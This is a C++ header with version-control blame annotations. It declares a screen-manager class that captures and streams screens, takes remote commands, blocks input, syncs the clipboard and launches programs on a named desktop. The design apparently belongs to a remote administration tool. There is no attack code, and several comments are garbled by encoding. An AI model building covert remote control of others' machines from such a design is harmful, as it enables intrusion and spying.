2019-01-05 20:21:43 +08:00
|
|
|
|
// ScreenManager.h: interface for the CScreenManager class.
|
|
|
|
|
|
//
|
|
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
|
|
|
|
|
|
|
|
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
|
|
|
|
|
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
|
|
|
|
|
|
|
|
|
|
|
|
#if _MSC_VER > 1000
|
|
|
|
|
|
#pragma once
|
|
|
|
|
|
#endif // _MSC_VER > 1000
|
|
|
|
|
|
|
|
|
|
|
|
#include "Manager.h"
|
|
|
|
|
|
#include "ScreenSpy.h"
|
2025-03-13 23:34:33 +08:00
|
|
|
|
#include "ScreenCapture.h"
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-05-31 15:49:40 +08:00
|
|
|
|
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
|
|
|
|
|
|
2025-07-19 16:18:56 +08:00
|
|
|
|
bool IsWindows8orHigher();
|
|
|
|
|
|
|
2019-01-05 20:21:43 +08:00
|
|
|
|
class IOCPClient;
|
|
|
|
|
|
|
|
|
|
|
|
class CScreenManager : public CManager
|
|
|
|
|
|
{
|
|
|
|
|
|
public:
|
2025-03-13 23:34:33 +08:00
|
|
|
|
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
virtual ~CScreenManager();
|
|
|
|
|
|
HANDLE m_hWorkThread;
|
|
|
|
|
|
|
2025-05-31 15:49:40 +08:00
|
|
|
|
void InitScreenSpy();
|
2019-01-05 20:21:43 +08:00
|
|
|
|
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
2019-01-17 20:41:51 +08:00
|
|
|
|
VOID SendBitMapInfo();
|
2019-01-07 20:46:03 +08:00
|
|
|
|
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2025-03-13 23:34:33 +08:00
|
|
|
|
ScreenCapture* m_ScreenSpyObject;
|
2019-01-07 20:46:03 +08:00
|
|
|
|
VOID SendFirstScreen();
|
|
|
|
|
|
const char* GetNextScreen(ULONG &ulNextSendLength);
|
|
|
|
|
|
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
2019-01-07 20:46:03 +08:00
|
|
|
|
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
2025-05-31 15:49:40 +08:00
|
|
|
|
INT_PTR m_ptrUser;
|
|
|
|
|
|
HDESK g_hDesk;
|
|
|
|
|
|
std::string m_DesktopID;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
BOOL m_bIsWorking;
|
|
|
|
|
|
BOOL m_bIsBlockInput;
|
2019-01-07 20:46:03 +08:00
|
|
|
|
VOID SendClientClipboard();
|
|
|
|
|
|
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
2025-05-31 15:49:40 +08:00
|
|
|
|
|
|
|
|
|
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
POINT m_point;
|
|
|
|
|
|
POINT m_lastPoint;
|
|
|
|
|
|
BOOL m_lmouseDown;
|
|
|
|
|
|
HWND m_hResMoveWindow;
|
|
|
|
|
|
LRESULT m_resMoveType;
|
|
|
|
|
|
BOOL m_rmouseDown; // <20><><EFBFBD><EFBFBD><EFBFBD>Ҽ<EFBFBD><D2BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
POINT m_rclickPoint; // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
HWND m_rclickWnd; // <20>Ҽ<EFBFBD><D2BC><EFBFBD><EFBFBD><EFBFBD>
|
2019-01-05 20:21:43 +08:00
|
|
|
|
};
|
|
|
|
|
|
|
|
|
|
|
|
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|